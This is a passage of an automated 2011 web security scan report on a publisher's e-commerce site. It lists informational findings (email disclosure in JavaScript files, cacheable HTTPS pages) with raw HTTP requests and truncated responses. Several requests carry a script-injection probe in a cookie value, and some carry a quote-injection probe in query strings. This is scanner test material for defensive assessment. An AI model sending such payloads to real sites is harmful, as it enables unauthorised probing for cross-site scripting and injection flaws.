/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
Plu
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...

8.7. https://ecommerce.randomhouse.com/store/js/rh/ecom.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/ecom.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/ecom.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:34 GMT
Server: Apache
Last-Modified: Wed, 02 Dec 2009 15:30:55 GMT
ETag: "a170-ced-8f7f29c0"
Accept-Ranges: bytes
Content-Length: 3309
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

function rh_js_PopWin(url,name,options){
var ContextWindow = window.open(url,name,options);
ContextWindow.focus();
return false;
}
function validateEmail(email) {
   var illegalChars = /[ \(\)\<\>
...[SNIP]...
<>[],;:\/#"'); return false; }
   if( email != "" && !emailFilter.test(email)) { alert("Your e-mail address must contain '@' and end in dot-something (e.g. 'myname@domain.com')"); return false; }
   return true;
}
function validateCreate(form) {
   if( form.firstName.value == '') {
       alert( 'First Name is required');
       return false;
   }
   if( form.lastName.value == '') {
       alert
...[SNIP]...

8.8. https://ecommerce.randomhouse.com/store/js/rh/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/prototype.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:32 GMT
Server: Apache
Last-Modified: Tue, 05 Feb 2008 14:44:22 GMT
ETag: "a1de-7131-46b59d80"
Accept-Ranges: bytes
Content-Length: 28977
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

/* Prototype JavaScript framework, version 1.3.1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source
...[SNIP]...

8.9. https://ecommerce.randomhouse.com/store/js/rh/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/s_code.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:40 GMT
Server: Apache
Last-Modified: Mon, 15 Dec 2008 15:25:36 GMT
ETag: "a7c7-5db6-74579c00"
Accept-Ranges: bytes
Content-Length: 23990
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
Plu
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...

9. Cacheable HTTPS response  previous
There are 12 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


9.1. https://ecommerce.randomhouse.com//account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //account.do

Request

GET //account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:49:24 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17091


<!-- account.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www
...[SNIP]...

9.2. https://ecommerce.randomhouse.com//create-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //create-address.do

Request

GET //create-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 24044


<!-- createAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...

9.3. https://ecommerce.randomhouse.com//email-password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //email-password.do

Request

GET //email-password.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18043


<!-- updateEmailPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="
...[SNIP]...

9.4. https://ecommerce.randomhouse.com//select-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //select-address.do

Request

GET //select-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16341


<!-- selectAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...

9.5. https://ecommerce.randomhouse.com//view-orders.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //view-orders.do

Request

GET //view-orders.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:12 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 14600


<!-- orderHistory.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://
...[SNIP]...

9.6. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

9.7. https://ecommerce.randomhouse.com/address-validator.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /address-validator.do

Request

GET /address-validator.do?zipcode=10010&_= HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
X-Prototype-Version: 1.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:48:48 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 158


<html>
<head><title>AJAX</title></head>
<body>
<div id="information">
<ADDRESS>
   <CITY>NEW YORK</CITY>
   <STATE>NY</STATE>
</ADDRESS>
</div>
</body>
</html>

9.8. https://ecommerce.randomhouse.com/create-account-submit.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Request

GET /create-account-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; mbox=session#1303855598284-166145#1303858226|PC#1303855598284-166145#1366928366|check#true#1303856426; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:47:05 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20778


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...

9.9. https://ecommerce.randomhouse.com/create-account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Request

GET /create-account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:46 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 20193


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...

9.10. https://ecommerce.randomhouse.com/password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /password.do

Request

GET /password.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:32 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 11309


<!-- forgottenPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="htt
...[SNIP]...

9.11. https://ecommerce.randomhouse.com/sign-in-submit.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in-submit.do

Request

GET /sign-in-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:26:47 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16981


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

9.12. https://ecommerce.randomhouse.com/sign-in.do  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

Report generated by XSS.CX at Thu Apr 28 12:57:12 CDT 2011.